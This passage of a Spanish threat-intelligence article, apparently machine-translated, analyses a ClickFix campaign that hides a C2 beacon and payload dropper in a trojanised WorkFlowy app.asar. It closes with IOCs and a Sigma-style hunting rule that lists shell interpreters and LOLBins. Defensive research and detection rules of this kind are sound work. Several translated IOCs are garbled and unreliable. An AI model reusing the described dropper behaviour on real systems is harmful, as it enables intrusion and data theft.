  2. Toma de huellas dactilares persistente de la víctima a través de %APPDATA%\id.txt: En la primera ejecución se genera un ID alfanumérico aleatorio de 8 caracteres y se escribe en %APPDATA%\id.txt. En ejecuciones posteriores, la identificación almacenada se vuelve a leer, lo que le brinda al atacante un identificador estable para cada máquina víctima en todas las sesiones.
  3. Baliza C2: extrae la identidad del host cada 2 segundos: La función u() envía una POST HTTP que contiene la identificación única de la víctima, el nombre de la máquina y el nombre de usuario de Windows al servidor C2. El bucle en f() repite esto indefinidamente con un intervalo de 2 segundos.
  4. Descarga y ejecución remota de carga útil: La función p() recibe un objeto de tarea del C2, decodifica el contenido del archivo codificado en base64, lo escribe en un directorio con marca de tiempo en %TEMP% y ejecuta cualquier .exe a través de child_process.exec.

Si no se establece la conexión C2, no se generan archivos ni directorios. En el momento de realizar este análisis, el dominio C2 ya no respondía.

Por qué Electron es un mecanismo de entrega eficaz

El código malicioso se ejecuta en el proceso principal de Node.js, fuera del entorno limitado de Chromium, con todos los privilegios del usuario que ha iniciado sesión, lo que permite que el código malicioso ejecute cualquier acción que el usuario pueda realizar en el sistema. En realidad, no se escriben archivos en el disco y, dado que la carga útil maliciosa está empaquetada dentro del archivo «.asar», también ayuda a ocultar el código malicioso.

Persistencia

No se implementa ninguna persistencia a nivel del sistema operativo a través del cuentagotas. La baliza se ejecuta solo mientras WorkFlowy está abierto. El único artefacto escrito en el disco antes de la entrega en la siguiente etapa es %APPDATA%\id.txt (ID de seguimiento de la víctima), y eso solo si la conexión a C2 se establece correctamente. Presumiblemente, se delega una persistencia a nivel del sistema operativo a cualquier carga útil que entregue el C2 a través del cuentagotas.

Lea más blogs sobre inteligencia de amenazas e investigación de adversarios: https://atos.net/es/lp/cybershield

Conclusiones clave

Esta variante de ClickFix es importante porque aleja el acceso inicial de los motores de ejecución y secuencias de comandos de los que comúnmente se abusa, como PowerShell, MSHTA y WScript, y en su lugar depende del uso de la red para abusar de WebDAV como mecanismo de entrega. Las campañas anteriores de ClickFix generalmente se exponían al invocar directamente intérpretes o binarios que viven fuera de la tierra y que están fuertemente monitoreados por soluciones EDR modernas. Por el contrario, esta iteración monta un recurso compartido WebDAV remoto como una unidad local, ejecuta un archivo por lotes alojado mediante la semántica estándar del sistema de archivos y elimina la asignación inmediatamente después de su uso. Esto muestra que ClickFix aún evoluciona, expande su arsenal de métodos de ejecución de proxy y comienza a utilizar utilidades de red nativas.

La lógica maliciosa se oculta reemplazando el contenido del archivo app.asar de la aplicación Workflowy con una versión troyanizada de main.js. Debido a que el código se ejecuta dentro del proceso principal de Electron y permanece empaquetado dentro de una aplicación legítima, evita muchas detecciones de comportamiento y basadas en archivos que se centran en cargadores independientes o intérpretes de scripts. Los archivos ASAR rara vez se inspeccionan, lo que permite que la lógica del dropper se ejecute durante el inicio normal de la aplicación con una visibilidad mínima.

Esta actividad no fue detectada por los controles de seguridad y solo se identificó mediante la búsqueda de amenazas dirigida en Atos. La detección se basó en analizar el contexto de ejecución en lugar de los indicadores de carga útil, específicamente buscando ejecuciones de comandos sospechosas que se originaran en el cuadro de diálogo Ejecutar del Explorador (registrado dentro de la clave de registro RunMRU). Esto subraya la creciente importancia de la caza de amenazas como mecanismo de detección complementario: a medida que las campañas de ClickFix cambian hacia utilidades nativas y aplicaciones confiables que generan pocas alertas, sólo la caza proactiva y basada en hipótesis puede ayudar a sacar a la luz estas señales débiles lo suficientemente temprano como para interrumpir la cadena de ataque.

Apéndices

COI

Dominio llamarada de nube[.]informe
Dominio felizglamper[.]ro
IP 94[.]156[.]170[.]255
IP 144[.]31[.]165[.]173
URL https://nubeflare[.]informe/para siempre/e/
Archivo %APPDATA%\id.txt
Camino %TEMPERATURA%\[13-digit-timestamp]\
SHA256 a390fe045f50a0697b14160132dfa124c7f92d85c18fba07df351c2fcfc11063 (aplicación.asar)
SHA256 9ee58eb59e337c06429ff3f0afd0ee6886b0644ddd4531305b269e97ad2b8d42 (WorkFlowy.exe: versión anterior del binario legítimo, no malicioso)
SHA256 dc95f7c7fb98ec30d3cb03963865a11d1b7b696e34f163b8de45f828b62ec829 (principal.js)

Consulta de caza

  • título: Comandos sospechosos ejecutados mediante el cuadro de diálogo Ejecutar
  • identificación: 20891a30-032e-4f15-a282-fa4a8b0d8aae
  • estado: experimental
  • descripción:
  • Detecta intérpretes de comandos sospechosos y LOLBins escritos en la clave de registro Explorer RunMRU (comúnmente utilizada para el historial de diálogo de ejecución), con explorer.exe como proceso de inicio.
  • autor: CVR
  • fecha: 2026-03-05
  • etiquetas:
  • – ataque.ejecución
  • – ataque.t1059
  • – ataque.defense_evasion
  • fuente de registro:
  • categoría: conjunto_registro
  • producto: ventanas
  • definición: «ID de evento de Sysmon 13 (conjunto de valores de registro) o telemetría de registro EDR equivalente»
  • detección:
  • clave_selección:
  • TargetObject|contiene: ‘\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU’
  • proceso_selección:
  • Imagen|termina con: ‘\explorer.exe’
  • datos_de_selección:
  • Detalles|contiene:
  • – ‘cmd’
  • – ‘powershell’
  • – ‘cmd.exe’
  • – ‘powershell.exe’
  • – ‘wscript.exe ‘
  • – ‘cscript.exe ‘
  • – ‘net.exe’
  • – ‘net1.exe’
  • – ‘sh.exe’
  • – ‘bash.exe’
  • – ‘schtasks.exe’
  • – ‘regsvr32.exe’
  • – ‘hh.exe’
  • – ‘wmic.exe ‘
  • – ‘mshta.exe’
  • – ‘rundll32.exe’
  • – ‘msiexec.exe ‘
  • – ‘forfiles.exe ‘
  • – ‘scriptrunner.exe’
  • – ‘mftrace.exe ‘
  • – ‘AppVLP.exe ‘
  • – ‘svchost.exe’
  • – ‘msbuild.exe’
  • condición: clave_selección y proceso_selección y datos_selección
  • falsos positivos:
  • – «Actividad administrativa legítima utilizando el cuadro de diálogo Ejecutar (Win+R) para ejecutar herramientas integradas».
  • – «Scripts de TI o pasos de solución de problemas ejecutados de forma interactiva por un usuario».
  • nivel: medio

Lea más blogs sobre inteligencia de amenazas e investigación de adversarios: https://atos.net/es/lp/cybershield

¿Encontró interesante este artículo? Este artículo es una contribución de uno de nuestros valiosos socios. Síguenos en noticias de google, Gorjeo y LinkedIn para leer más contenido exclusivo que publicamos.